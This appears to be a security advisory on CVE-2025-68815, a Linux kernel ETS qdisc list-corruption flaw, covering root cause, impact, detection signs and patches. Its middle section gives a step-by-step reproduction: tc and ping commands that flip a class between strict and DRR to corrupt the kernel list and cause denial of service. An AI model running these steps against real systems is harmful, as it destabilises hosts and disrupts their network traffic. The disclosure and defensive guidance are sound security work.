CVE-2025-68815: 
Linux Kernel vulnerability analysis and mitigation

CVE-2025-68815 is a Linux kernel vulnerability in the ETS (Enhanced Transmission Selection) qdisc network scheduler that causes list corruption when a DRR (Deficit Round Robin) class is converted to a strict class without being removed from the active list. If the class is subsequently changed back to DRR, it gets added to the active list twice, triggering a kernel list integrity violation. The vulnerability was published on January 13, 2026, and affects the Linux kernel, including Microsoft Azure Linux 3 (azl3_kernel_6.6.119.3-3). It carries a CVSS v3.1 base score of 7.1 (High) (Microsoft MSRC).

The root cause is improper state management (CWE-415: Double Free / list double-add) in the net/sched/ets kernel subsystem. When a user issues an ETS qdisc change command that transforms a DRR class into a strict class, the code fails to check whether that class is present in the active list and omits removing it. A subsequent change back to DRR causes the class to be appended to the active list a second time, violating list integrity and triggering a list_add double add kernel warning in lib/list_debug.c. Exploitation requires local access with low privileges and the ability to issue tc (traffic control) commands, making it a local, low-complexity attack vector (Microsoft MSRC).

Successful exploitation results in kernel list corruption within the network scheduler subsystem, leading to system instability, denial of service through network traffic handling failures, and integrity compromise of scheduler data structures. Legitimate network traffic shaping operations may become unreliable or fail entirely. There is no confidentiality impact, but both integrity and availability are rated High (Microsoft MSRC).

1. Gain local access: Obtain a local shell on the target system with at least low-privileged user access and permission to use the tc (traffic control) utility.
2. Set up ETS qdisc: Create an ETS qdisc with at least two bands, one strict and one DRR, and attach a child qdisc to the DRR class:

   tc qdisc add dev lo root handle 1: ets bands 2 strict 1
   tc qdisc add dev lo parent 1:2 handle 20: tbf rate 8bit burst 100b latency 1s
   tc filter add dev lo parent 1: basic classid 1:2

3. Trigger traffic on the DRR class: Send traffic through the interface to add the DRR class to the active list:

   ping -c1 -W0.01 -s 56 127.0.0.1

4. Convert DRR class to strict: Change the ETS configuration so the previously DRR class becomes strict (moving it to strict without removing it from the active list):

   tc qdisc change dev lo root handle 1: ets bands 2 strict 2

5. Convert back to DRR: Change the class back to DRR, causing it to be added to the active list a second time:

   tc qdisc change dev lo root handle 1: ets bands 2 strict 1

6. Trigger the corruption: Send additional traffic to trigger the double-add violation, causing kernel warnings and potential denial of service:

   ping -c1 -W0.01 -s 56 127.0.0.1

   This sequence triggers a list_add double add kernel splat and may destabilize network scheduling (Microsoft MSRC).

• Logs: Kernel log entries containing list_add double add warnings from lib/list_debug.c, specifically referencing the ETS qdisc scheduler; messages such as WARNING: CPU: X PID: Y at lib/list_debug.c:35 __list_add_valid_or_report in dmesg or /var/log/kern.log.
• Process: Repeated execution of the tc (traffic control) utility by non-root or low-privileged users, particularly with qdisc add, qdisc change, and filter add subcommands targeting ETS qdiscs.
• Network: Unusual or repeated modifications to network qdisc configurations on production interfaces, especially alternating between strict and DRR class configurations.

Apply the available kernel patch that fixes the ETS qdisc scheduler to remove DRR classes from the active list when they are changed to strict mode. The fix is available for Microsoft Azure Linux 3 (azl3_kernel_6.6.119.3-3) via the Microsoft Security Response Center, and upstream kernel patches are referenced at the Linux stable kernel repository. Debian (DSA-6126-1, DLA-4475-1), Ubuntu (USN-8177-1/2, USN-8179-1/2/3/4, USN-8183-1/2, USN-8184-1, USN-8185-1/2, USN-8203-1, USN-8245-1, USN-8257-1, USN-8258-1, USN-8260-1, USN-8265-1), SUSE, Oracle Linux 9, and Red Hat have also issued advisories. As a workaround, restrict access to the tc utility to trusted administrators only and monitor for kernel warnings related to list integrity violations in the scheduler subsystem (Microsoft MSRC).